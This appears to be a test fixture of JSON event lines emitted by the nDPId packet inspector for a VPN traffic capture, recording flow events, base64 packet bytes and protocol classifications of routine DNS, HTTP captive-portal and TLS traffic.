+00456{"flow_id":49,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":368,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569687267,"pkt_ts_usec":799516,"pkt_caplen":84,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":84,"pkt_l4_len":50,"pkt":"LH6BsEqhNDY7z3UoCABFAABGM9oAAP8R5lMKAADjS0tLS8d0ADUAMjjn9V4BAAABAAAAAAAACTEtY291cmllcgRwdXNoBWFwcGxlA2NvbQAAAQAB"} +00656{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":368,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","flow_id":49,"flow_packet_id":1,"flow_first_seen":1569687267799,"flow_last_seen":0,"flow_tot_l4_data_len":50,"flow_min_l4_data_len":50,"flow_max_l4_data_len":50,"flow_avg_l4_data_len":50,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.227","dst_ip":"75.75.75.75","src_port":51060,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS.ApplePush","breed":"Acceptable","category":"Cloud"},"dns": {"query":"1-courier.push.apple.com","num_queries":0,"num_answers":0,"reply_code":0,"query_type":1,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00477{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":369,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","flow_id":50,"flow_packet_id":1,"flow_first_seen":1569687267800,"flow_last_seen":0,"flow_tot_l4_data_len":58,"flow_min_l4_data_len":58,"flow_max_l4_data_len":58,"flow_avg_l4_data_len":58,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.227","dst_ip":"75.75.75.75","src_port":59582,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00468{"flow_id":50,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":369,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569687267,"pkt_ts_usec":800486,"pkt_caplen":92,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":92,"pkt_l4_len":58,"pkt":"LH6BsEqhNDY7z3UoCABFAABOdGcAAP8Rpb4KAADjS0tLS+i+ADUAOr+fEJABAAABAAAAAAAACTEtY291cmllcgdzYW5kYm94BHB1c2gFYXBwbGUDY29tAAABAAE="} +00664{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":369,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","flow_id":50,"flow_packet_id":1,"flow_first_seen":1569687267800,"flow_last_seen":0,"flow_tot_l4_data_len":58,"flow_min_l4_data_len":58,"flow_max_l4_data_len":58,"flow_avg_l4_data_len":58,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.227","dst_ip":"75.75.75.75","src_port":59582,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS.ApplePush","breed":"Acceptable","category":"Cloud"},"dns": {"query":"1-courier.sandbox.push.apple.com","num_queries":0,"num_answers":0,"reply_code":0,"query_type":1,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00848{"flow_id":25,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":370,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569687267,"pkt_ts_usec":802917,"pkt_caplen":373,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":373,"pkt_l4_len":339,"pkt":"LH6BsEqhNDY7z3UoCABFAAFnAABAAEAGPkgKAADjuBk4Td40AFBjyKrnGk9o7oAYEAAbSAAAAQEIChwN0VvjFT51R0VUIC9zdWNjZXNzLnR4dD9pcHY0IEhUVFAvMS4xDQpIb3N0OiBkZXRlY3Rwb3J0YWwuZmlyZWZveC5jb20NClVzZXItQWdlbnQ6IE1vemlsbGEvNS4wIChNYWNpbnRvc2g7IEludGVsIE1hYyBPUyBYIDEwLjEzOyBydjo2OS4wKSBHZWNrby8yMDEwMDEwMSBGaXJlZm94LzY5LjANCkFjY2VwdDogKi8qDQpBY2NlcHQtTGFuZ3VhZ2U6IGVuLVVTLGVuO3E9MC41DQpBY2NlcHQtRW5jb2Rpbmc6IGd6aXAsIGRlZmxhdGUNCkNvbm5lY3Rpb246IGtlZXAtYWxpdmUNClByYWdtYTogbm8tY2FjaGUNCkNhY2hlLUNvbnRyb2w6IG5vLWNhY2hlDQoNCg=="} +00477{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":371,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","flow_id":51,"flow_packet_id":1,"flow_first_seen":1569687267805,"flow_last_seen":0,"flow_tot_l4_data_len":51,"flow_min_l4_data_len":51,"flow_max_l4_data_len":51,"flow_avg_l4_data_len":51,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.227","dst_ip":"75.75.75.75","src_port":64193,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00461{"flow_id":51,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":371,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569687267,"pkt_ts_usec":805043,"pkt_caplen":85,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":85,"pkt_l4_len":51,"pkt":"LH6BsEqhNDY7z3UoCABFAABHoW4AAP8ReL4KAADjS0tLS\/rBADUAMyCpE94BAAABAAAAAAAACjI0LWNvdXJpZXIEcHVzaAVhcHBsZQNjb20AAAEAAQ=="} +00657{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":371,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","flow_id":51,"flow_packet_id":1,"flow_first_seen":1569687267805,"flow_last_seen":0,"flow_tot_l4_data_len":51,"flow_min_l4_data_len":51,"flow_max_l4_data_len":51,"flow_avg_l4_data_len":51,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.227","dst_ip":"75.75.75.75","src_port":64193,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS.ApplePush","breed":"Acceptable","category":"Cloud"},"dns": {"query":"24-courier.push.apple.com","num_queries":0,"num_answers":0,"reply_code":0,"query_type":1,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00477{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":372,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","flow_id":52,"flow_packet_id":1,"flow_first_seen":1569687267812,"flow_last_seen":0,"flow_tot_l4_data_len":41,"flow_min_l4_data_len":41,"flow_max_l4_data_len":41,"flow_avg_l4_data_len":41,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.227","dst_ip":"75.75.75.75","src_port":51990,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":52,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":372,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569687267,"pkt_ts_usec":812729,"pkt_caplen":75,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":75,"pkt_l4_len":41,"pkt":"LH6BsEqhNDY7z3UoCABFAAA9PxQAAP8R2yIKAADjS0tLS8sWADUAKZk5eJ4BAAABAAAAAAAABG1haWwGdmlhc2F0A2NvbQAAAQAB"} +00639{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":372,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","flow_id":52,"flow_packet_id":1,"flow_first_seen":1569687267812,"flow_last_seen":0,"flow_tot_l4_data_len":41,"flow_min_l4_data_len":41,"flow_max_l4_data_len":41,"flow_avg_l4_data_len":41,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.227","dst_ip":"75.75.75.75","src_port":51990,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS","breed":"Acceptable","category":"Network"},"dns": {"query":"mail.viasat.com","num_queries":0,"num_answers":0,"reply_code":0,"query_type":1,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00647{"flow_id":48,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":373,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569687267,"pkt_ts_usec":814292,"pkt_caplen":224,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":224,"pkt_l4_len":190,"pkt":"NDY7z3UoLH6BsEqhCABFAADSAABAADoRnqJLS0tLCgAA4wA167UAvhHNhe+BgAABAAQAAAAAA3d3dwVhcHBsZQNjb20AAAEAAcAMAAUAAQAABRUAGwN3d3cFYXBwbGUDY29tB2VkZ2VrZXkDbmV0AMArAAUAAQAAFoEALwN3d3cFYXBwbGUDY29tB2VkZ2VrZXkDbmV0C2dsb2JhbHJlZGlyBmFrYWRuc8BBwFIABQABAAAE7QAZBWU2ODU4BWRzY2U5CmFrYW1haWVkZ2XAQcCNAAEAAQAAAAcABLgbc6E="} +00663{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":373,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","flow_id":48,"flow_packet_id":2,"flow_first_seen":1569687267799,"flow_last_seen":1569687267814,"flow_tot_l4_data_len":229,"flow_min_l4_data_len":39,"flow_max_l4_data_len":190,"flow_avg_l4_data_len":114,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.227","dst_ip":"75.75.75.75","src_port":60341,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS.Apple","breed":"Safe","category":"Web"},"dns": {"query":"www.apple.com","num_queries":1,"num_answers":4,"reply_code":0,"query_type":1,"rsp_type":1,"rsp_addr":"184.27.115.161"}} +00948{"flow_id":25,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":374,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569687267,"pkt_ts_usec":818781,"pkt_caplen":450,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":450,"pkt_l4_len":416,"pkt":"NDY7z3UoLH6BsEqhCABFAAG0NJxAADcGEl+4GThNCgAA4wBQ3jQaT2juY8isGoAYAQ1ulQAAAQEICuMVP44cDdFbSFRUUC8xLjEgMjAwIE9LDQpDb250ZW50LVR5cGU6IHRleHQvcGxhaW4NCkNvbnRlbnQtTGVuZ3RoOiA4DQpMYXN0LU1vZGlmaWVkOiBNb24sIDE1IE1heSAyMDE3IDE4OjA0OjQwIEdNVA0KRVRhZzogImFlNzgwNTg1ZjQ5Yjk0Y2UxNDQ0ZWI3ZDI4OTA2MTIzIg0KQWNjZXB0LVJhbmdlczogYnl0ZXMNClNlcnZlcjogQW1hem9uUzMNClgtQW16LUNmLUlkOiBJcS1oTGRhcmRnZUVmOTBhU3dsQlZkRDJUbjFzY29hcnBlQlMtbUtNWmdLNG1lWGlWTEpHTUE9PQ0KQ2FjaGUtQ29udHJvbDogbm8tY2FjaGUsIG5vLXN0b3JlLCBtdXN0LXJldmFsaWRhdGUNCkRhdGU6IFNhdCwgMjggU2VwIDIwMTkgMTY6MTQ6MjcgR01UDQpDb25uZWN0aW9uOiBrZWVwLWFsaXZlDQoNCnN1Y2Nlc3MK"} +00779{"flow_id":50,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":375,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569687267,"pkt_ts_usec":818785,"pkt_caplen":323,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":323,"pkt_l4_len":289,"pkt":"NDY7z3UoLH6BsEqhCABFAAE1AABAADoRnj9LS0tLCgAA4wA16L4BIf0XEJCBgAABAAoAAAAACTEtY291cmllcgdzYW5kYm94BHB1c2gFYXBwbGUDY29tAAABAAHADAAFAAEAAElSAC0BMRpjb3VyaWVyLXNhbmRib3gtcHVzaC1hcHBsZQNjb20GYWthZG5zA25ldADAPgAFAAEAAACOACIUdXMtc2FuZGJveC1jb3VyaWVyLTQKcHVzaC1hcHBsZcBbwHcAAQABAAAALgAEEbyKR8B3AAEAAQAAAC4ABBG8hEjAdwABAAEAAAAuAAQRvIbKwHcAAQABAAAALgAEEbyKSMB3AAEAAQAAAC4ABBG8iLrAdwABAAEAAAAuAAQRvIU9wHcAAQABAAAALgAEEbyHusB3AAEAAQAAAC4ABBG8ikY="} +00694{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":375,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","flow_id":50,"flow_packet_id":2,"flow_first_seen":1569687267800,"flow_last_seen":1569687267818,"flow_tot_l4_data_len":347,"flow_min_l4_data_len":58,"flow_max_l4_data_len":289,"flow_avg_l4_data_len":173,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.227","dst_ip":"75.75.75.75","src_port":59582,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS.ApplePush","breed":"Acceptable","category":"Cloud"},"dns": {"query":"1-courier.sandbox.push.apple.com","num_queries":1,"num_answers":10,"reply_code":0,"query_type":1,"rsp_type":1,"rsp_addr":"17.188.138.71"}} +00434{"flow_id":25,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":376,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569687267,"pkt_ts_usec":818856,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"LH6BsEqhNDY7z3UoCABFAAA0AABAAEAGP3sKAADjuBk4Td40AFBjyKwaGk9qboAQD\/ToPgAAAQEIChwN0WrjFT+O"} +00603{"flow_id":49,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":377,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569687267,"pkt_ts_usec":819793,"pkt_caplen":190,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":190,"pkt_l4_len":156,"pkt":"NDY7z3UoLH6BsEqhCABFAACwAABAADoRnsRLS0tLCgAA4wA1x3QAnFOt9V6BgAABAAMAAAAACTEtY291cmllcgRwdXNoBWFwcGxlA2NvbQAAAQABwAwABQABAAAYQwAlATESY291cmllci1wdXNoLWFwcGxlA2NvbQZha2FkbnMDbmV0AMA2AAUAAQAAABcAHQ91cy1zdy1jb3VyaWVyLTQKcHVzaC1hcHBsZcBLwGcAAQABAAAAFwAEETmQdA=="} +00685{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":377,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","flow_id":49,"flow_packet_id":2,"flow_first_seen":1569687267799,"flow_last_seen":1569687267819,"flow_tot_l4_data_len":206,"flow_min_l4_data_len":50,"flow_max_l4_data_len":156,"flow_avg_l4_data_len":103,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.227","dst_ip":"75.75.75.75","src_port":51060,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS.ApplePush","breed":"Acceptable","category":"Cloud"},"dns": {"query":"1-courier.push.apple.com","num_queries":1,"num_answers":3,"reply_code":0,"query_type":1,"rsp_type":1,"rsp_addr":"17.57.144.116"}} +00506{"flow_id":47,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":378,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569687267,"pkt_ts_usec":820816,"pkt_caplen":119,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":119,"pkt_l4_len":85,"pkt":"NDY7z3UoLH6BsEqhCABFAABp+WRAADUGn5oROZB0CgAA4xRn3jZl3bexMRy43IAYARnThAAAAQEICtWmYt0cDdFWFQMDADDYQSIj3jkYV2ViIYpeEoheM2HYhDINcbYvi9M0lKa7pHKjHCudSoLIJkInalaEjXI="} +00416{"flow_id":47,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":379,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569687267,"pkt_ts_usec":820879,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"LH6BsEqhNDY7z3UoCABFAAAoAABAAEAGjkAKAADjETmQdN42FGcxHLjcAAAAAFAEAAAmugAA"} +00432{"flow_id":47,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":380,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569687267,"pkt_ts_usec":821792,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"NDY7z3UoLH6BsEqhCABFAAA0+WVAADUGn84ROZB0CgAA4xRn3jZl3bfmMRy43IARARmo0AAAAQEICtWmYt0cDdFW"} +00416{"flow_id":47,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":381,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569687267,"pkt_ts_usec":821826,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"LH6BsEqhNDY7z3UoCABFAAAoAABAAEAGjkAKAADjETmQdN42FGcxHLjcAAAAAFAEAAAmugAA"} +00603{"flow_id":51,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":382,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569687267,"pkt_ts_usec":824238,"pkt_caplen":192,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":192,"pkt_l4_len":158,"pkt":"NDY7z3UoLH6BsEqhCABFAACyAABAADoRnsJLS0tLCgAA4wA1+sEAnlIeE96BgAABAAMAAAAACjI0LWNvdXJpZXIEcHVzaAVhcHBsZQNjb20AAAEAAcAMAAUAAQAASVMAJgIyNBJjb3VyaWVyLXB1c2gtYXBwbGUDY29tBmFrYWRucwNuZXQAwDcABQABAAAAGwAdD3VzLXN3LWNvdXJpZXItNApwdXNoLWFwcGxlwE3AaQABAAEAAAAuAAQROZAU"} +00685{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":382,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","flow_id":51,"flow_packet_id":2,"flow_first_seen":1569687267805,"flow_last_seen":1569687267824,"flow_tot_l4_data_len":209,"flow_min_l4_data_len":51,"flow_max_l4_data_len":158,"flow_avg_l4_data_len":104,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.227","dst_ip":"75.75.75.75","src_port":64193,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS.ApplePush","breed":"Acceptable","category":"Cloud"},"dns": {"query":"24-courier.push.apple.com","num_queries":1,"num_answers":3,"reply_code":0,"query_type":1,"rsp_type":1,"rsp_addr":"17.57.144.20"}} +00477{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":383,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","flow_id":53,"flow_packet_id":1,"flow_first_seen":1569687267831,"flow_last_seen":0,"flow_tot_l4_data_len":35,"flow_min_l4_data_len":35,"flow_max_l4_data_len":35,"flow_avg_l4_data_len":35,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.227","dst_ip":"75.75.75.75","src_port":49781,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00436{"flow_id":53,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":383,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569687267,"pkt_ts_usec":831823,"pkt_caplen":69,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":69,"pkt_l4_len":35,"pkt":"LH6BsEqhNDY7z3UoCABFAAA3jBMAAP8RjikKAADjS0tLS8J1ADUAI5qcqN8BAAABAAAAAAAABWFwcGxlA2NvbQAAAQAB"} +00633{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":383,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","flow_id":53,"flow_packet_id":1,"flow_first_seen":1569687267831,"flow_last_seen":0,"flow_tot_l4_data_len":35,"flow_min_l4_data_len":35,"flow_max_l4_data_len":35,"flow_avg_l4_data_len":35,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.227","dst_ip":"75.75.75.75","src_port":49781,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS","breed":"Acceptable","category":"Network"},"dns": {"query":"apple.com","num_queries":0,"num_answers":0,"reply_code":0,"query_type":1,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":384,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","flow_id":54,"flow_packet_id":1,"flow_first_seen":1569687267841,"flow_last_seen":0,"flow_tot_l4_data_len":32,"flow_min_l4_data_len":32,"flow_max_l4_data_len":32,"flow_avg_l4_data_len":32,"midstream":1,"l3_proto":"ip4","src_ip":"10.0.0.227","dst_ip":"8.37.103.196","src_port":56871,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00434{"flow_id":54,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":384,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569687267,"pkt_ts_usec":841212,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"LH6BsEqhNDY7z3UoCABFAAA0KKIAAEAG11YKAADjCCVnxN4nAbsMJdDwho1uAoAR\/\/8iBAAAAQEIChwN0X94psIw"} +00502{"flow_id":53,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":385,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569687267,"pkt_ts_usec":847611,"pkt_caplen":117,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":117,"pkt_l4_len":83,"pkt":"NDY7z3UoLH6BsEqhCABFAABnAABAADoRnw1LS0tLCgAA4wA1wnUAU2BUqN+BgAABAAMAAAAABWFwcGxlA2NvbQAAAQABwAwAAQABAAAE+gAEEbJgO8AMAAEAAQAABPoABBGOoDvADAABAAEAAAT6AAQRrOAv"} +00659{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":385,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","flow_id":53,"flow_packet_id":2,"flow_first_seen":1569687267831,"flow_last_seen":1569687267847,"flow_tot_l4_data_len":118,"flow_min_l4_data_len":35,"flow_max_l4_data_len":83,"flow_avg_l4_data_len":59,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.227","dst_ip":"75.75.75.75","src_port":49781,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS","breed":"Acceptable","category":"Network"},"dns": {"query":"apple.com","num_queries":1,"num_answers":3,"reply_code":0,"query_type":1,"rsp_type":1,"rsp_addr":"17.178.96.59"}} +00468{"flow_id":52,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":386,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569687267,"pkt_ts_usec":847625,"pkt_caplen":91,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":91,"pkt_l4_len":57,"pkt":"NDY7z3UoLH6BsEqhCABFAABNAABAADoRnydLS0tLCgAA4wA1yxYAOeBneJ6BgAABAAEAAAAABG1haWwGdmlhc2F0A2NvbQAAAQABwAwAAQABAAAAPAAECCVnxA=="} +00664{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":386,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","flow_id":52,"flow_packet_id":2,"flow_first_seen":1569687267812,"flow_last_seen":1569687267847,"flow_tot_l4_data_len":98,"flow_min_l4_data_len":41,"flow_max_l4_data_len":57,"flow_avg_l4_data_len":49,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.227","dst_ip":"75.75.75.75","src_port":51990,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS","breed":"Acceptable","category":"Network"},"dns": {"query":"mail.viasat.com","num_queries":1,"num_answers":1,"reply_code":0,"query_type":1,"rsp_type":1,"rsp_addr":"8.37.103.196"}} +00477{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":387,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","flow_id":55,"flow_packet_id":1,"flow_first_seen":1569687267851,"flow_last_seen":0,"flow_tot_l4_data_len":41,"flow_min_l4_data_len":41,"flow_max_l4_data_len":41,"flow_avg_l4_data_len":41,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.227","dst_ip":"75.75.75.75","src_port":58074,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":55,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":387,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569687267,"pkt_ts_usec":851029,"pkt_caplen":75,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":75,"pkt_l4_len":41,"pkt":"LH6BsEqhNDY7z3UoCABFAAA9LvsAAP8R6zsKAADjS0tLS+LaADUAKWM2zl4BAAABAAAAAAAAA3d3dwdvdXRsb29rA2NvbQAAAQAB"} +00639{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":387,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","flow_id":55,"flow_packet_id":1,"flow_first_seen":1569687267851,"flow_last_seen":0,"flow_tot_l4_data_len":41,"flow_min_l4_data_len":41,"flow_max_l4_data_len":41,"flow_avg_l4_data_len":41,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.227","dst_ip":"75.75.75.75","src_port":58074,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS","breed":"Acceptable","category":"Network"},"dns": {"query":"www.outlook.com","num_queries":0,"num_answers":0,"reply_code":0,"query_type":1,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00655{"flow_id":55,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":388,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569687267,"pkt_ts_usec":865600,"pkt_caplen":230,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":230,"pkt_l4_len":196,"pkt":"NDY7z3UoLH6BsEqhCABFAADYAABAADoRnpxLS0tLCgAA4wA14toAxJ5uzl6BgAABAAcAAAAAA3d3dwdvdXRsb29rA2NvbQAAAQABwAwABQABAAAAzQAUB291dGxvb2sJb2ZmaWNlMzY1wBjALQAFAAEAAABWABkHb3V0bG9vawdtcy1hY2RjBm9mZmljZcAYwE0ABQABAAAHZQAKB3NqYy1lZnrAVcByAAEAAQAAADAABChh3iLAcgABAAEAAAAwAAQ0YAOCwHIAAQABAAAAMAAEKGHdcsByAAEAAQAAADAABDRgEgI="} +00667{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":388,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","flow_id":55,"flow_packet_id":2,"flow_first_seen":1569687267851,"flow_last_seen":1569687267865,"flow_tot_l4_data_len":237,"flow_min_l4_data_len":41,"flow_max_l4_data_len":196,"flow_avg_l4_data_len":118,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.227","dst_ip":"75.75.75.75","src_port":58074,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS","breed":"Acceptable","category":"Network"},"dns": {"query":"www.outlook.com","num_queries":1,"num_answers":7,"reply_code":0,"query_type":1,"rsp_type":1,"rsp_addr":"40.97.222.34"}} +00433{"flow_id":54,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":389,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569687267,"pkt_ts_usec":881275,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"NDY7z3UoLH6BsEqhCABFAAA0KOdAAPMG5BAIJWfECgAA4wG73ieGjW4CDCXQ8YAQTdZYOgAAAQEICninPiMcDdF\/"} 